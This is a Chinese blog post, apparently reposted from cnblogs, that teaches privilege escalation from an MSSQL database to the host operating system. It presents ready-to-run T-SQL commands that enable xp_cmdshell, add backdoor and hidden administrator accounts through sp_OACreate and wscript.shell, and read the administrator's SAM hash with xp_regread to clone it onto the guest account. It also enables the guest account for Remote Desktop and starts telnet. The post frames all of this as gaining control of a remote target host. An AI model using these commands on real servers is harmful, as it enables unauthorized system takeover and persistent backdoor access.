首页 > 数据库技术 > 详细

mssql数据库提权

时间:2019-04-21 23:34:58      阅读:202      评论:0      收藏:0      [点我收藏+]

1.关于 “xp_cmdshell

“存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。

 

  而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是扩展存储过程中的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。

 

    如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp_cmdshell脚本”,并获得返回值。

 

技术分享图片

 

 

2. 利用 xp_cmdshell 存储过程

 

EXEC master.dbo.xp_cmdshell ipconfig

 

 

技术分享图片

 

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

 

 

开启xp_cmdshell

exec sp_configure show advanced options, 1;reconfigure;

exec sp_configure xp_cmdshell,1;reconfigure;

 

关闭xp_cmdshell

exec sp_configure show advanced options, 1;reconfigure;

exec sp_configure xp_cmdshell, 0;reconfigure

 

 

除了xp_cmdshell还有操作注册表的存储过程

xp_regaddmultistring

xp_regdeletekey //删除键

xp_regdeletevalue //删除值

xp_regenumkeys

xp_regenumvalues //返回多个值

xp_regread //读取键值

xp_regremovemultistring

xp_regwrite //写入键值 

控制服务的xp_servicecontrol等

开启telnet服务

execmaster..xp_servicecontrol start, tlntsvr

 

OLE相关存储过程添加账户

OLE 这系列的存储过程有

sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop

 

具体的使用方法如下。

 

1.1. 添加test账号;

 

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:\windows\system32\cmd.exe /c net user 123 123 /add

技术分享图片

 

注意:有关cmd.exe的物理路径要依据具体操作系统来确定。

 

 

1.2. 123账号添加到administrators超级管理组

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:\windows\system32\cmd.exe /c net localgroup administrators 123/add

技术分享图片

 

xp和2003系统:
 
declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:\windows\system32\cmd.exe /c net user 123$ 123/add
declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add

 

2.  xp_regread & xp_regwrite克隆账号

获取administrator账号的加密密码

xp_regread HKEY_LOCAL_MACHINE,SAM\SAM\Domains\Account\Users\000001F4,F

技术分享图片

 

将刚刚获取的0x…开头的value值赋值给guest账号;

 

xp_regwrite HKEY_LOCAL_MACHINE,SAM\SAM\Domains\Account\Users\000001F5,F,reg_binary,0x......

 

 

技术分享图片

 

使用guest账号登录远程桌面管理

注意条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况

针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”

 

 


 

MSSQL存储过程利用小结

我们可以调用的存储过程小脚本有三类:

1. xp_cmdshell

2. OLE相关存储过程

3. xp_regread 与 xp_regwrite

 

 

 


 

 存储过程利用方法

1. xp_cmdshell存储过程  OLE相关存储过程利用

 

由于xp_cmdshell 存储与OLE相关存储过程可以直接调系统层面的命令,故我们可以直接构造语句进行系统账号的添加,实现对远程主机的入侵控制;

 


 

2. xp_regread  xp_regwrite利用

 

利用xp_regread  xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制。

但是同时注意,这种利用方法存在一定的局限性具体局限性有以下几点:

 

1) guest账户需要被启用

2) guest 账户需要在“Remote Desktop Users”


 

如果缺少了以上条件,guest账户都无法远程登录目标主机,有关于guest账户的启用与远程桌面用户组的添加语句罗列如下。

exec master..xp_cmdshell ‘net user guest /active:yes’

exec master..xp_cmdshell net localgroup "Remote Desktop Users" a /add

 

mssql数据库提权

原文:https://www.cnblogs.com/-qing-/p/10747587.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!